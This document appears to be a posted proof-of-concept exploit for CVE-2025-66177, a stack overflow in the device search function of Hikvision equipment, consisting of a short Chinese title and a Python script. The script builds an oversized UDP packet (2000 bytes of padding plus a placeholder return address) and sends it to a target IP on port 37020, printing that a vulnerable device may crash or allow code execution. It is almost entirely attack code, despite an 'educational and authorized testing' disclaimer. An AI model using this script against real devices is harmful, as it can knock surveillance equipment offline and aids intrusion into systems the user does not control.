CVE-2025-66177 海康威视设备搜索功能栈溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-66177 PoC - Hikvision Device Search Stack Overflow Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_exploit_packet(): """Construct malicious device search response packet""" # Device Search Protocol header header = b'\x00\x00\x00\x00' # Protocol version packet_type = b'\x01\x00' # Response packet type # Overflow payload - trigger stack overflow # Sending oversized device info field overflow_length = 2000 # Exceed buffer size overflow_payload = b'A' * overflow_length # Malicious return address (to be customized based on target) return_addr = struct.pack('<I', 0x41414141) # Placeholder address # Construct packet with overflow data packet = header + packet_type packet += struct.pack('<H', overflow_length) # Length field packet += overflow_payload + return_addr return packet def send_exploit(target_ip, target_port=37020): """Send exploit packet to target device""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) exploit_packet = create_exploit_packet() try: print(f"[*] Sending exploit to {target_ip}:{target_port}") sock.sendto(exploit_packet, (target_ip, target_port)) print(f"[+] Exploit packet sent ({len(exploit_packet)} bytes)") print("[!] If vulnerable, device may crash or allow code execution") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) send_exploit(sys.argv[1])